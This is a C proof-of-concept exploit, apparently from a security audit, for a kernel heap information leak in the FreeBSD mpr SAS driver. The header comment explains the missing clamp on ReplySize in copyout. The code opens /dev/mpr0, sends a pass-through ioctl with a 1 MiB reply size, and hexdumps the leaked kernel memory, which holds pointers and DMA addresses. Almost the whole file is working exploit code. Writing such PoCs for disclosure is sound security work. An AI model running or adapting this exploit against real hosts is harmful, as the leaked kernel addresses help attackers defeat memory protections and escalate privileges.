/*
 * DF-1327 — mpr_user_pass_thru kernel-heap info leak PoC.
 *
 * Bug: mpr_user.c:867-868 and :1093 do
 *     copyout(cm->cm_reply, PTRIN(data->PtrReply), data->ReplySize);
 * where data->ReplySize is a fully user-controlled uint32_t.  The actual
 * reply is rpl->MsgLength * 4 bytes (~96).  The driver only *warns* when
 * sz > ReplySize (line 861/1087) — it never clamps.  Supplying ReplySize
 * much larger than the real reply makes copyout read ReplySize bytes out
 * of cm->cm_reply (a ~96-byte slot inside the reply_frames DMA pool),
 * leaking adjacent kernel heap (function pointers, DMA bus addresses,
 * command metadata).
 *
 * Trigger surface: open("/dev/mpr0") + ioctl(MPTIOCTL_PASS_THRU).
 * Device node is created by mpr_attach_user() at mpr_user.c:205 as
 * UID_ROOT/GID_OPERATOR 0640 — i.e. needs operator-group membership AND
 * a present LSI SAS3+ HBA.  No ioctl-level privilege check; mpr_open()
 * returns 0 unconditionally.
 *
 * REQUIRES HARDWARE: a real LSI/Avago/Broadcom SAS3/4 HBA (the mpr
 * driver attaches to PCI vendor 1000 SAS-Fusion devices).  The QEMU
 * audit guest has NO such HBA, so /dev/mpr0 does not exist and the open
 * returns ENOENT.  This PoC therefore cannot execute on the audit guest;
 * it is provided for hardware-equipped hosts.  See VERDICT.md.
 *
 * Build:  cc -o poc poc.c -Wall
 * Run:    ./poc            (as an operator-group user on an mpr-equipped host)
 */
#include <sys/ioctl.h>
#include <sys/types.h>
#include <err.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

/* Mirror of kernel <dev/raid/mpr/mpr_ioctl.h> — not installed under
 * /usr/include, so we reproduce the on-wire structures/commands here. */
#define MPTIOCTL ('I')
typedef struct mpr_pass_thru {
	uint64_t PtrRequest;
	uint64_t PtrReply;
	uint64_t PtrData;
	uint32_t RequestSize;
	uint32_t ReplySize;   /* <-- attacker-controlled */
	uint32_t DataSize;
	uint32_t DataDirection;
	uint64_t PtrDataOut;
	uint32_t DataOutSize;
	uint32_t Timeout;
} mpr_pass_thru_t;
/* _IOWR('I', 4, struct mpr_pass_thru) — sized to the struct above */
#define MPTIOCTL_PASS_THRU _IOWR(MPTIOCTL, 4, mpr_pass_thru_t)

#define LEAK_SIZE (1024 * 1024)   /* 1 MiB; ReplySize controls read length */

int main(void)
{
	int fd = open("/dev/mpr0", O_RDWR);
	if (fd < 0)
		err(1, "open /dev/mpr0");

	unsigned char *leak = calloc(1, LEAK_SIZE);
	if (!leak)
		err(1, "calloc");

	/* Minimal MPI2 request header (Function = FW_DOWNLOAD placeholder).
	 * The exact function does not matter to reach the vulnerable copyout;
	 * the device simply needs to complete the command and populate
	 * cm->cm_reply, which mpr always does. */
	unsigned char req[64] = {0};

	mpr_pass_thru_t pt;
	memset(&pt, 0, sizeof(pt));
	pt.PtrRequest  = (uint64_t)(uintptr_t)req;
	pt.PtrReply    = (uint64_t)(uintptr_t)leak;
	pt.RequestSize = sizeof(req);
	pt.ReplySize   = LEAK_SIZE;          /* over-read primitive        */
	pt.DataSize    = 0;
	pt.DataDirection = 1; /* READ */
	pt.Timeout     = 30;

	if (ioctl(fd, MPTIOCTL_PASS_THRU, &pt) < 0)
		err(1, "ioctl MPTIOCTL_PASS_THRU");

	/* leak[] now contains LEAK_SIZE bytes copied from cm->cm_reply and
	 * onward into the reply DMA pool.  Hexdump the tail where kernel
	 * pointers / DMA addresses are most likely to survive. */
	fprintf(stderr, "[+] copyout completed; dumping first 256 bytes:\n");
	for (int i = 0; i < 256; i += 16) {
		fprintf(stderr, "%04x  ", i);
		for (int j = 0; j < 16; j++) fprintf(stderr, "%02x ", leak[i + j]);
		fprintf(stderr, "\n");
	}
	close(fd);
	return 0;
}
